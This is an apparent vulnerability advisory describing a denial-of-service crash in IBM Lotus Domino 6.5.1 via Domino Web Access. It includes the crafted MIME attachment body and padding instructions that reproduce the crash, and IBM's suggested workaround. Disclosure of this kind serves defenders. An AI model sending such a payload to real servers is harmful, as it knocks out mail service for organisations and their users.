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DoS against Domino 6.5.1



Hello,

this problem has been reported to IBM Lotus customer support
(PMR 37321,999,724) on Feb 16, 2004 and was reproduced by them.

Affected versions:
Domino 6.5.1 and newer on Linux (other platforms not tested by me, but 
Domino 6.5.1 on Windows has been found to be vulnerable too by IBM 
support)


Abstract:
Opening certain mails via Domino Web Access leads to a crash of the whole 
Domino-server.


Detailed description:
Open your favourite mail-program (eg. pine) and write a message to a
person reading his mail via Domino Web Access (formerly known as 
iNotes) with the following message content:
(just paste all the lines below into the body of the mail)

--- snip here; do not paste this line --
Content-Disposition: Attachment; filename="PC210017.JPG"
Content-Type: image/jpeg;
 Name="PC210017.JPG"
Content-Transfer-Encoding: Base64

/9j/4Re0RXhpZgAASUkqAAgAAAALAA4BAgAgAAAAkgAAAA8BAgAYAAAAsgAAABABAgAMAAAA
ygAAABIBAwABAAAAAQAAABoBBQABAAAA2AAAABsBBQABAAAA4AAAACgBAwABAAAAAgAAADEB
AgAJAAAA6AAAADIBAgAUAAAACAEAABMCAwABAAAAAgAAAGmHBAABAAAAHAEAAAADAABPTFlN
[Add here some megabytes of data. 1kB is not enough, but 12MB was 
sufficient in all my tests]
--- snip here; do not pste this line ---

As soon as the recipient opens the mail in Domino Web Access, the whole
Domino server will go down.

Solution:
There is no solution provided by IBM and they are not planning to fix the 
problem. The proposed workaround is to limit the maximum message-size or 
to disable the web-access.